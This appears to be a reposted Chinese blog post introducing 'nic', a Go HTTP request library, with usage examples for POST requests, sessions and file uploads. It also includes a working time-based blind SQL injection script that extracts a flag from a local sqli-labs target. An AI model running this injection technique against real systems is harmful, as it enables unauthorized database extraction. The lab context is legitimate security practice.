写了一个更易用的Golang HTTP请求库

栏目: Go · 发布时间: 4年前

内容简介:对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装示例代码

对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装

GitHub地址

示例代码

import (
   "github.com/eddieivan01/nic"
)

func main() {
    url := "http://example.com"
    resp, err := nic.Post(url, &nic.H{
        JSON: nic.KV {
            "hello": "world",
        },
        Headers: nic.KV{
            "X-Forwarded-For": "127.0.0.1",
        },
    })
    if err != nil {
       fmt.Fatal(err.Error())
    }
    fmt.Println(resp.Text)
    
    // 修改响应编码
    err = resp.SetEncode("gbk")
    if err != nil {
       fmt.Fatal(err.Error())
    }
    fmt.Println(resp.Text)
}
// session 保持Cookie
session := &nic.Session{}
session.Post("http://example.com/login", &nic.H{
    Data: nic.KV{
        "uname": "nic",
        "passwd": "nic",
    }
})

resp, _ := session.Get("http://example.com/userinfo", nil)
fmt.Println(resp.Text)
// 上传文件
resp, err := nic.Post(url, &nic.H{
   Files : nic.F{
       "file" : nic.KV{
           // `filename`为必须参数,本地文件路径
           // 将会把`nic.go`作为MIME表单的filename
           "filename" : `/home/nic/nic.go`,
           "token" : "0xff",
       },
   },
})

最近就试了试,SQL时间盲注脚本,结合goroutine速度快过SQLmap --threads 8

package main

import (
   "fmt"
   "time"

   "github.com/eddieivan01/nic"
)

var flag = [32]byte{}

func display() {
   for {
       time.Sleep(time.Duration(1) * time.Second)
       fmt.Println(string(flag[:]))
   }
}

func main() {
   payload := `select flag from flag`
   var url string
   for i := 1; i < 30; i++ {
       go func(i int) {
           for _, j := range []byte("{}qwertyuioplkjhgfdsazxcvbnm098764321_") {
               url = fmt.Sprintf("http://127.0.0.1/sqli/Less-1/?id=1' and if(mid((%s),%d,1)='%v',sleep(3),0)-- -", payload, i, string(j))
               _, err := nic.Get(url, &nic.H{
                   Timeout: 3,
               })
               if err != nil {
                   flag[i-1] = byte(j)
                   return
               }
           }
       }(i)
   }
   display()
}

欢迎大家提出 增加新features/改进现有 的意见


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

淘宝、天猫电商运营百科全书

淘宝、天猫电商运营百科全书

刘涛 / 电子工业出版社 / 2016-7 / 59.00元

有人说淘宝、天猫上90%的卖家不赚钱,我认为说得有点大了。因为如果说大家都不赚钱或者在亏钱,为什么去年在做店铺的卖家,今年还在继续?那些不赚钱的卖家,多数是没意识到市场的变化,还在用原来的套路运营店铺。市场在变,但卖家的思路却没有转变,不赚钱也在情理之中,因为淘宝、天猫的玩法变了。做店铺就是好比一场“打怪”升级的游戏,每次的升级都需要强大的装备与攻略。优胜劣汰,能活下去并且能赚钱的卖家,都是在不停......一起来看看 《淘宝、天猫电商运营百科全书》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码